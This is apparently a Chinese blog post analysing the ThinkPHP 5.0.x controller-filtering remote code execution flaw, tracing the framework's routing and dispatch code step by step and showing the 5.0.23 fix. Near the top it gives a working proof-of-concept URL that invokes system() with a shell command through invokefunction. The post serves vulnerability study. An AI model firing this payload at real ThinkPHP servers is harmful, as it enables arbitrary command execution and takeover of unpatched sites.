ThinkPhp5.0x_Getshell_分析

前言

分析一下前几天很火的tp5任意代码执行漏洞。

可以先看下官方公告

测试版本为ThinkPHP V5.0.22,测试环境为OSX+apache2+php5.6+Mysql5.7。

漏洞分析

更新信息

已修复的版本5.0.23在/library/think/App.php中555-556行中增加了对$controller的过滤。

1
2
3
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

POC :

1
/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

显然问题是出在控制器过滤不严格导致调用了不安全的控制器。

分析过程

首先进入框架入口

1
require __DIR__ . '/../thinkphp/start.php';

引入了start.php。定位到这个文件

1
2
// 2. 执行应用
App::run()->send();

利用run()函数执行应用。全局搜索定位到App.php:77。

在112-120行中查找到有关路由的操作。

1
2
3
4
5
6
7
8
9
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

// 记录当前调度信息
$request->dispatch($dispatch);

跟进定位到routeCheck()函数,同样在App.php:617

继续跟进这个path()函数

继续跟pathinfo()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}

// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}

终于看到具体的获取方法。以GET方法获取path,然后层层传递到达routeCheck->$request。

‘var_pathinfo’的值为s。

我们再回到routeCheck()分析

1
2
3
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

path()传入后会经过路由检测,导入配置,最后返回调度给$result。

定位到Route::check()

对path进行一些检查替换。

返回来继续分析。

如果调度失败并且开启了强制路由$must,就抛出异常。

我们跟进他的异常处理

1
2
3
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

他会调用parseUrl函数对path进行解析。跟进parseUrl。只看一些关键部分。

1
2
3
4
5
6
7
8
9
10
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{

if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);

对$url进行了parseUrlPath操作,我们继续跟进parseUrlPath()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}

可以看到parseUrlPath将(module/controller/action)打散装进数组中。将结果返回parseUrl()中。parseUrl()将获得的(module/controller/action)封装进$route返回。

1
$route = [$module, $controller, $action];

然后我们重新回到run()函数中,$dispatch已经获得了数据,继续向下分析。进入App.php:139行。

$dispatch 进入到self::exec()中,继续跟进。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

return $data;
}

由于parseUrl()函数最后的赋值,显然我们会进入module分支。然后进入model()函数,跟进model()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}

$request = Request::instance();

if ($config['app_multi_module']) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;

if ($bind) {
// 绑定模块
list($bindModule) = explode('/', $bind);

if (empty($result[0])) {
$module = $bindModule;
$available = true;
} elseif ($module == $bindModule) {
$available = true;
}
} elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
$available = true;
}

// 模块初始化
if ($module && $available) {
// 初始化模块
$request->module($module);
$config = self::init($module);

// 模块请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} else {
// 单一模块部署
$module = '';
$request->module($module);
}

// 设置默认过滤机制
$request->filter($config['default_filter']);

// 当前模块路径
App::$modulePath = APP_PATH . ($module ? $module . DS : '');

// 是否自动转换控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert'];

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;

// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}

// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);

// 监听module_init
Hook::listen('module_init', $request);

try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

// 获取当前操作名
$action = $actionName . $config['action_suffix'];

$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);

} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

Hook::listen('action_begin', $call);

return self::invokeMethod($call, $vars);
}

这个函数代码略长,大概分析一下。$request会进入多模块部署,然后进入else if分支进行模块是否存在的判断。

最后一波操作后会进入

1
self::invokeMethod($call, $vars);

其中 $call存放的是 controller

继续跟进 invokeMethod()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}

$args = self::bindParams($reflect, $vars);

self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

此时method是一个数组,[0]存放的是think/app,[1]存放的是invokefunction

通过ReflectionMethod调用mehtod也就是think/app模型下的方法。

同样,通过bindParams获取$var中的参数 也就是payload中的

1
&function=call_user_func_array&vars[0]=system&vars[1][]=ls

然后通过

1
$reflect->invokeArgs(isset($class) ? $class : null, $args);

将方法和参数传入invokeFunction()中。

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

执行call_user_func_array(‘system’,[‘ls’])。

攻击流程图

若有错误,还请各位大佬指正。